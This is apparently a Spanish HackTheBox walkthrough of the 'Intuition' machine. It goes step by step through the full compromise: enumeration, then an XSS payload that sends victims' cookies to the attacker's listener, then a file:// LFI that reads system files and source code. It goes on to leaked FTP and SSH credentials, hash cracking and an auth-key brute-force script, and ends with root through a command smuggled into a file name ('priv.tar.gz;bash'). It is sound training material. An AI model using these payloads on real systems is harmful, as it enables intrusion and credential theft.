Intuition es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Intuition 10.10.11.15 a /etc/hosts como intuition.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.15 Nmap scan report for 10.10.11.15 Host is up, received reset ttl 63 (0.045s latency). Scanned at 2024-05-03 16:36:14 CEST for 12s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Fri May 3 16:36:26 2024 -- 1 IP address (1 host up) scanned in 12.35 seconds |
Detectados los puertos abiertos, analizamos más en detalle los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.15 Nmap scan report for 10.10.11.15 Host is up (0.053s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA) |_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://comprezzor.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri May 3 16:37:17 2024 -- 1 IP address (1 host up) scanned in 8.52 seconds |
Enumeración
En el escaneo encontramos otro dominio, comprezzor.htb, así que lo añadimos al fichero hosts y accedemos al portal web

No parece haber gran cosa en esta web así que vamos a enumerar subdominios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$ ffuf -u http://comprezzor.htb/ -w /data/dicts/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.comprezzor.htb" -t 100 -fs 178 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://comprezzor.htb/ :: Wordlist : FUZZ: /data/dicts/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.comprezzor.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 100 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 178 ________________________________________________ auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 51ms] report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 64ms] dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 48ms] :: Progress: [114441/114441] :: Job [1/1] :: 2173 req/sec :: Duration: [0:00:54] :: Errors: 0 :: |
Y encontramos 3, auth, report y dashboard que añadiremos al fichero hosts.
Accedemos a la web de auth, donde encontramos el siguiente formulario de login, aunque por el momento, carecemos de credenciales

Continuamos revisando el resto y nos fijamos en la web de report

Vemos una página para el reporte de bugs, pero para ello necesitaremos una cuenta, así que volvemos a la página de auth a registrarnos y poder enviar un bug al portal.
Antes de ello revisamos en detalle las secciones, y nos fijamos en la página de about de report

En la misma dice que los report son revisados por sus desarrolladores, lo que puede indicar que igual hay alguna forma de obtener los datos de algún usuario cuando este revise nuestro report, así que vamos a enviar uno.

Hacemos varias pruebas en este formulario y conseguimos explotar una vulnerabilidad de XSS con el siguiente payload
|
1 |
<img src=x onerror="fetch('http://10.10.14.5/?c='+document.cookie)"> |
Y obtener la cookie del usuario en nuestra escucha
|
1 2 3 4 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.15 - - [03/May/2024 17:11:27] "GET /?c=user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 200 - 10.10.11.15 - - [03/May/2024 17:11:27] "GET /?c=user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 200 - |
Y gracias a la cual accederemos a la web de dashboard

Revisamos en detalle esta sección y observamos que el usuario puede establecer la prioridad de los report, siendo esta 0 baja y 1 alta, así que vamos a modificar la prioridad de un report como alta con el objetivo de que sea el admin quien lo revise

Y mediante el mismo método utilizado anteriormente, obtener la cookie del usuario admin
|
1 2 3 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.14.5 - - [03/May/2024 17:16:27] "GET /?c=user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5 HTTP/1.1" 200 - |
Una vez la tenemos, accedemos con la cookie de admin a la app del dashboard

Revisando el panel vemos una sección para generar un pdf en base a un report

Así que generamos un report cualquier y descargamos el fichero para revisar la aplicación que lo genera
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ head report_11611.pdf %PDF-1.4 %âã 1 0 obj << /Title () /Creator (��wkhtmltopdf 0.12.6) /Producer (��Qt 5.15.2) /CreationDate (D:20240503152038Z) >> endobj |
Una vez que conocemos la aplicación y su versión nos vamos a google y encontramos una vulnerabilidad de LFI bajo el CVE-2023-24329 y un issue en github donde se expone el fallo y como verificarlo.
Así que siguiendo los ejemplos añadimos el carácter espacio seguido del siguiente payload
|
1 |
file:///etc/passwd |
Explotando así el lfi y consiguiendo el fichero passwd

No vemos usuarios potenciales así que revisamos el proceso en sí
|
1 |
file:///proc/self/cmdline |
Y nos muestra el siguiente fichero
|
1 |
python3/app/code/app.py |
Que descargamos con el payload
|
1 |
file:///app/code/app.py |
Y cuyo contenido es el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
from flask import Flask, request, redirect from blueprints.index.index import main_bp from blueprints.report.report import report_bp from blueprints.auth.auth import auth_bp from blueprints.dashboard.dashboard import dashboard_bp app = Flask(__name__) app.secret_key = "7ASS7ADA8RF3FD7" app.config['SERVER_NAME'] = 'comprezzor.htb' app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB ALLOWED_EXTENSIONS = {'txt', 'pdf', 'docx'} # Add more allowed file extensions if needed app.register_blueprint(main_bp) app.register_blueprint(report_bp, subdomain='report') app.register_blueprint(auth_bp, subdomain='auth') app.register_blueprint(dashboard_bp, subdomain='dashboard') if __name__ == '__main__': app.run(debug=False, host="0.0.0.0", port=80) |
En el código anterior vemos la llamada a varias librerías, así que descargamos las mismas y encontramos en el fichero de dashboard unas credenciales de ftp
|
1 2 |
ftp = FTP('ftp.local') ftp.login(user='ftp_admin', passwd='u3jai8y71s2') |
al cual nos conectaremos con el siguiente payload
|
1 |
ftp://ftp_admin:u3jai8y71s2@ftp.local |
viendo 3 ficheros

Revisamos los mismos y tenemos una clave en el fichero welcome_note.txt

y una clave ssh que no sabemos a que usuario pertenece, así que vamos a eliminar la password de la key
|
1 2 3 4 |
$ ssh-keygen -p -f private-8297.key Enter old passphrase: Key has comment 'dev_acc@local' Enter new passphrase (empty for no passphrase): |
y en la misma hay un comentario con el usuario al cual pertenece la clave, y con el cual conectaremos por ssh
|
1 2 3 4 5 6 7 8 9 |
$ ssh -i private-8297.key dev_acc@intuition.htb The authenticity of host 'intuition.htb (10.10.11.15)' can't be established. ED25519 key fingerprint is SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'intuition.htb' (ED25519) to the list of known hosts. Last login: Thu May 2 21:56:23 2024 from 10.10.16.4 dev_acc@intuition:~$ id uid=1001(dev_acc) gid=1001(dev_acc) groups=1001(dev_acc) |
Obteniendo la flag de user
Una vez dentro, vamos a coger la primera flag
|
1 2 3 4 5 6 7 8 9 10 |
dev_acc@intuition:~$ ls -l total 9300 -rwxr-xr-- 1 dev_acc dev_acc 8654848 May 2 16:44 chisel64 -rwxrwxr-x 1 dev_acc dev_acc 853290 May 2 21:33 linpeas.sh drwx------ 3 dev_acc dev_acc 4096 May 2 21:35 snap drwxrwxr-x 2 dev_acc dev_acc 4096 May 2 21:42 stuff -rw-r----- 1 root dev_acc 33 May 2 16:42 user.txt dev_acc@intuition:~$ cat user.txt 69423b6ab011b4e7f2cdc1812161fb27 dev_acc@intuition:~$ |
Escalado al usuario lopez
Revisamos los puertos abiertos en el servidor y vemos alguno interesante, aunque por el momento nada útil
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
dev_acc@intuition:~$ netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN tcp 0 0 172.21.0.1:21 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:36297 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:21 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:50770 127.0.0.1:8080 TIME_WAIT tcp 0 0 127.0.0.1:52590 127.0.0.1:8080 TIME_WAIT tcp 0 0 127.0.0.1:54830 127.0.0.1:8080 TIME_WAIT tcp 0 0 172.21.0.1:54846 172.21.0.2:80 TIME_WAIT tcp 0 0 127.0.0.1:8080 127.0.0.1:35024 TIME_WAIT tcp 0 0 127.0.0.1:52584 127.0.0.1:8080 TIME_WAIT tcp 0 0 172.21.0.1:54832 172.21.0.2:80 TIME_WAIT tcp 0 0 127.0.0.1:54844 127.0.0.1:8080 TIME_WAIT tcp 0 0 127.0.0.1:8080 127.0.0.1:35004 TIME_WAIT tcp 0 0 127.0.0.1:59996 127.0.0.1:8080 TIME_WAIT tcp 0 1 10.10.11.15:56512 8.8.8.8:53 SYN_SENT tcp 0 0 127.0.0.1:33194 127.0.0.1:4444 ESTABLISHED tcp 0 0 127.0.0.1:54572 127.0.0.1:4444 ESTABLISHED tcp 0 0 10.10.11.15:60802 10.10.16.3:8080 ESTABLISHED tcp 0 0 10.10.11.15:47712 10.10.16.3:8080 ESTABLISHED tcp 0 332 10.10.11.15:22 10.10.14.5:44298 ESTABLISHED tcp 0 0 127.0.0.1:4444 127.0.0.1:54572 ESTABLISHED tcp 0 0 172.21.0.1:36790 172.21.0.4:4444 ESTABLISHED tcp 0 0 172.21.0.1:48168 172.21.0.2:80 TIME_WAIT tcp 0 0 127.0.0.1:8080 127.0.0.1:35010 TIME_WAIT tcp 0 0 127.0.0.1:4444 127.0.0.1:33194 ESTABLISHED tcp 0 0 10.10.11.15:40960 10.10.16.3:8080 ESTABLISHED tcp 0 0 172.21.0.1:53628 172.21.0.4:4444 ESTABLISHED tcp 0 0 172.21.0.1:42098 172.21.0.2:80 TIME_WAIT tcp 0 0 10.10.11.15:56904 10.10.16.3:8080 ESTABLISHED tcp 0 0 172.21.0.1:33368 172.21.0.2:80 TIME_WAIT tcp 0 0 127.0.0.1:8080 127.0.0.1:50776 TIME_WAIT tcp 0 0 10.10.11.15:22 10.10.16.3:55580 ESTABLISHED tcp6 0 0 :::22 :::* LISTEN |
Revisamos en la máquina y encontramos el fichero de sqlite utilizado por la aplicación, así que consultamos la ddbb y obtenemos los hashes de varios usuarios
|
1 2 3 4 5 6 7 8 9 |
dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db SQLite version 3.37.2 2022-01-06 13:25:41 Enter ".help" for usage hints. sqlite> .tables users sqlite> select * from users; 1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin 2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev sqlite> |
Y conseguimos la password del usuario adam con hashcat
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ hashcat adam.hash /usr/share/wordlists/rockyou.txt --force ... sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray Session..........: hashcat Status...........: Cracked Hash.Mode........: 30120 (Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt))) Hash.Target......: sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc...89fc43 Time.Started.....: Fri May 3 22:50:09 2024, (3 secs) Time.Estimated...: Fri May 3 22:50:12 2024, (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 3507.3 kH/s (2.35ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 10387456/14344385 (72.41%) Rejected.........: 0/10387456 (0.00%) Restore.Point....: 10371072/14344385 (72.30%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: adamsyeera -> ace1464 Hardware.Mon.#1..: Temp: 60c Util: 56% |
Las credenciales sólo nos valen para el servicio de ftp, así que conectaremos al mismo y obtendremos un script en bash, otro en c, y un binario
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
$ ftp adam@127.0.0.1 Connected to 127.0.0.1. 220 pyftpdlib 1.5.7 ready. 331 Username ok, send password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering extended passive mode (|||54933|). 150 File status okay. About to open data connection. drwxr-xr-x 3 root 1002 4096 Apr 10 08:21 backup 226 Transfer complete. ftp> cd backup 250 "/backup" is the current directory. ftp> ls 229 Entering extended passive mode (|||51199|). 150 File status okay. About to open data connection. drwxr-xr-x 2 root 1002 4096 Apr 10 08:21 runner1 226 Transfer complete. ftp> cd runner1 250 "/backup/runner1" is the current directory. ftp> ls 229 Entering extended passive mode (|||49319|). 150 File status okay. About to open data connection. -rwxr-xr-x 1 root 1002 318 Apr 06 00:25 run-tests.sh -rwxr-xr-x 1 root 1002 16744 Oct 19 2023 runner1 -rw-r--r-- 1 root 1002 3815 Oct 19 2023 runner1.c 226 Transfer complete. ftp> ftp> get run-tests.sh local: run-tests.sh remote: run-tests.sh 229 Entering extended passive mode (|||45807|). 125 Data connection already open. Transfer starting. 100% |*************************************************************************************************************************************************************************************************| 318 3.26 MiB/s 00:00 ETA 226 Transfer complete. 318 bytes received in 00:00 (613.72 KiB/s) ftp> get runner1 local: runner1 remote: runner1 229 Entering extended passive mode (|||50723|). 125 Data connection already open. Transfer starting. 100% |*************************************************************************************************************************************************************************************************| 16744 20.31 MiB/s 00:00 ETA 226 Transfer complete. 16744 bytes received in 00:00 (15.88 MiB/s) ftp> get runner1.c local: runner1.c remote: runner1.c 229 Entering extended passive mode (|||40431|). 125 Data connection already open. Transfer starting. 100% |*************************************************************************************************************************************************************************************************| 3815 7.59 MiB/s 00:00 ETA 226 Transfer complete. 3815 bytes received in 00:00 (4.41 MiB/s) ftp> |
Y el contenido de los mismos sería el siguiente:
para el fichero run-tests.sh
|
1 2 3 4 5 6 7 8 9 10 11 12 |
#!/bin/bash # List playbooks ./runner1 list # Run playbooks [Need authentication] # ./runner run [playbook number] -a [auth code] #./runner1 run 1 -a "UHI75GHI****" # Install roles [Need authentication] # ./runner install [role url] -a [auth code] #./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****" |
Y el fichero runner1.c
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 |
// Version : 1 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <openssl/md5.h> #define INVENTORY_FILE "/opt/playbooks/inventory.ini" #define PLAYBOOK_LOCATION "/opt/playbooks/" #define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook" #define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy" #define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed" int check_auth(const char* auth_key) { unsigned char digest[MD5_DIGEST_LENGTH]; MD5((const unsigned char*)auth_key, strlen(auth_key), digest); char md5_str[33]; for (int i = 0; i < 16; i++) { sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]); } if (strcmp(md5_str, AUTH_KEY_HASH) == 0) { return 1; } else { return 0; } } void listPlaybooks() { DIR *dir = opendir(PLAYBOOK_LOCATION); if (dir == NULL) { perror("Failed to open the playbook directory"); return; } struct dirent *entry; int playbookNumber = 1; while ((entry = readdir(dir)) != NULL) { if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) { printf("%d: %s\n", playbookNumber, entry->d_name); playbookNumber++; } } closedir(dir); } void runPlaybook(const char *playbookName) { char run_command[1024]; snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName); system(run_command); } void installRole(const char *roleURL) { char install_command[1024]; snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL); system(install_command); } int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]); return 1; } int auth_required = 0; char auth_key[128]; for (int i = 2; i < argc; i++) { if (strcmp(argv[i], "-a") == 0) { if (i + 1 < argc) { strncpy(auth_key, argv[i + 1], sizeof(auth_key)); auth_required = 1; break; } else { printf("Error: -a option requires an auth key.\n"); return 1; } } } if (!check_auth(auth_key)) { printf("Error: Authentication failed.\n"); return 1; } if (strcmp(argv[1], "list") == 0) { listPlaybooks(); } else if (strcmp(argv[1], "run") == 0) { int playbookNumber = atoi(argv[2]); if (playbookNumber > 0) { DIR *dir = opendir(PLAYBOOK_LOCATION); if (dir == NULL) { perror("Failed to open the playbook directory"); return 1; } struct dirent *entry; int currentPlaybookNumber = 1; char *playbookName = NULL; while ((entry = readdir(dir)) != NULL) { if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) { if (currentPlaybookNumber == playbookNumber) { playbookName = entry->d_name; break; } currentPlaybookNumber++; } } closedir(dir); if (playbookName != NULL) { runPlaybook(playbookName); } else { printf("Invalid playbook number.\n"); } } else { printf("Invalid playbook number.\n"); } } else if (strcmp(argv[1], "install") == 0) { installRole(argv[2]); } else { printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]); return 1; } return 0; } |
Si nos fijamos tenemos una contraseña incompleta en el fichero bash
|
1 |
#./runner1 run 1 -a "UHI75GHI****" |
y un md5 en el fichero c
|
1 |
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed" |
así que hacemos un pequeño script para calcular la password
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
import hashlib import itertools import string key = "UHI75GHI" md5hash = "0feda17076d793c2ef2870d7427ad4ed" def check(key, md5hash): generated_hash = hashlib.md5(key.encode()).hexdigest() return generated_hash == md5hash charset = string.ascii_letters + string.digits key_length = 4 for elem in itertools.product(charset, repeat=key_length): full_key = "%s%s" %(key, ''.join(elem)) # Check if the generated key is correct if check(full_key, md5hash): print("Found auth key: %s" %(full_key)) break else: print("Auth key not found.") |
y ejecutamos para obtener la misma
|
1 2 |
$ python3 crack-runner.py Found auth key: UHI75GHINKOP |
Continuamos con nuestro análisis y encontramos la aplicación runner en la ruta /opt
|
1 2 3 4 5 6 7 8 9 |
dev_acc@intuition:/opt$ ll total 28 drwxr-xr-x 7 root root 4096 Apr 10 08:21 ./ drwxr-xr-x 19 root root 4096 Apr 10 07:40 ../ drwx--x--x 4 root root 4096 Aug 26 2023 containerd/ drwxr-xr-x 4 root root 4096 Sep 19 2023 ftp/ drwxr-xr-x 3 root root 4096 Apr 10 08:21 google/ drwxr-x--- 2 root sys-adm 4096 Apr 10 08:21 playbooks/ drwxr-x--- 2 root sys-adm 4096 Apr 10 08:21 runner2/ |
Nada útil por el momento en este punto así que seguimos buscando y encontramos una password en los logs de suricata
|
1 2 3 4 5 |
dev_acc@intuition:/var/log/suricata$ zgrep -in lopezz * eve.json.7.gz:1822:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}} eve.json.7.gz:1826:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}} eve.json.7.gz:12424:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}} eve.json.7.gz:12477:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}} |
Con la cual escalamos al usuario lopez
|
1 2 3 4 5 6 7 8 |
$ ssh lopez@intuition.htb lopez@intuition.htb's password: Permission denied, please try again. lopez@intuition.htb's password: Permission denied, please try again. lopez@intuition.htb's password: Last login: Thu May 2 22:46:26 2024 from 10.10.16.4 lopez@intuition:~$ |
Escalado a root
Hemos dado otro pasito más, así que vamos a ver que permisos tiene este usuario, y vemos que puede ejecutar la app de runner2 que vimos antes
|
1 2 3 4 5 6 7 |
lopez@intuition:~$ sudo -l [sudo] password for lopez: Matching Defaults entries for lopez on intuition: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User lopez may run the following commands on intuition: (ALL : ALL) /opt/runner2/runner2 |
El cual vemos que es un fichero elf
|
1 2 |
lopez@intuition:/opt/runner2$ file runner2 runner2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e1d85ed284e278ad7ab92c2208e4d34cbdceec24, for GNU/Linux 3.2.0, not stripped |
Y al ejecutar el mismo nos muestra la ayuda del binario
|
1 2 |
lopez@intuition:/opt/runner2$ sudo /opt/runner2/runner2 Usage: /opt/runner2/runner2 <json_file> |
En el código en c que vimos antes, observamos que utilizaba playbooks de ansible, así que vamos a tratar de tirar por ahí.
Revisando la documentación vemos que podemos crear ficheros json con la siguiente estructura
|
1 2 3 4 5 6 |
{ "run": { "action": "list|run|install", "auth_code": "the_auth_key" } } |
por lo que generamos uno con los datos conocidos hasta el momento
|
1 2 3 4 5 6 |
{ "run": { "action": "list", "auth_code": "UHI75GHINKOP" } } |
y vemos que funciona
|
1 2 |
lopez@intuition:/opt/runner2$ sudo /opt/runner2/runner2 /tmp/list.json 1: apt_update.yml |
por lo que tratamos de obtener una shell
|
1 2 3 4 5 6 7 8 9 10 11 |
{ "run": { "action": "run", "auth_code": "UHI75GHINKOP", "tasks": [ { "shell": "/bin/sh </dev/tty >/dev/tty 2>/dev/tty" } ] } } |
aunque en este caso no lo conseguimos
|
1 2 |
lopez@intuition:/opt/runner2$ sudo /opt/runner2/runner2 /tmp/priv.json Authentication key missing or invalid for 'run' action. |
por lo que consultamos la documentación de ansible y vemos que para la instalación de un playbook utiliza un fichero tar.gz
Siguiendo la docu vamos a revisar en primer lugar los roles disponibles
|
1 2 |
lopez@intuition:/tmp/test$ ansible-config dump | grep -i roles DEFAULT_ROLES_PATH(default) = ['/home/lopez/.ansible/roles', '/usr/share/ansible/roles', '/etc/ansible/roles'] |
y encontramos que en los paths habilitados está la home del usuario lopez, así que siguiendo esta plantilla de github y una vez comprendida, generamos un fichero json que llame al fichero tar.gz seguido del binario de bash, con la idea de escalar a root de esta forma.
Generamos nuestro fichero json
|
1 2 3 4 5 6 7 |
{ "run":{ "action":"install", "role_file":"priv.tar.gz;bash" }, "auth_code":"UHI75GHINKOP" } |
y creamos el fichero con el nombre que habíamos declarado
|
1 2 3 4 5 6 7 8 |
lopez@intuition:~/.ansible$ ll total 48 drwxrwxr-x 3 lopez lopez 4096 May 3 21:26 ./ drwxr-x--- 6 lopez lopez 4096 May 3 21:14 ../ -rw-rw-r-- 1 lopez lopez 100 May 3 21:20 a.json -rw-rw-r-- 1 lopez lopez 15857 May 3 21:23 a.tar.gz -rw-rw-r-- 1 lopez lopez 15857 May 3 21:26 'priv.tar.gz;bash' drwx------ 2 lopez lopez 4096 May 3 21:17 tmp/ |
ejecutamos, y a pesar de los errores que nos devuelve, conseguimos escalar a root
|
1 2 3 4 5 6 7 |
lopez@intuition:~/.ansible$ sudo /opt/runner2/runner2 a.json Starting galaxy role install process [WARNING]: - priv.tar.gz was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3] Temporary failure in name resolution> ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list. root@intuition:/home/lopez/.ansible# root@intuition:/home/lopez/.ansible# id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Por lo que siendo ya root vamos a por la flag
|
1 2 3 |
root@intuition:/home/lopez/.ansible# cat /root/root.txt 435be16b36f93e739e0664c4a4a88beb root@intuition:/home/lopez/.ansible# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










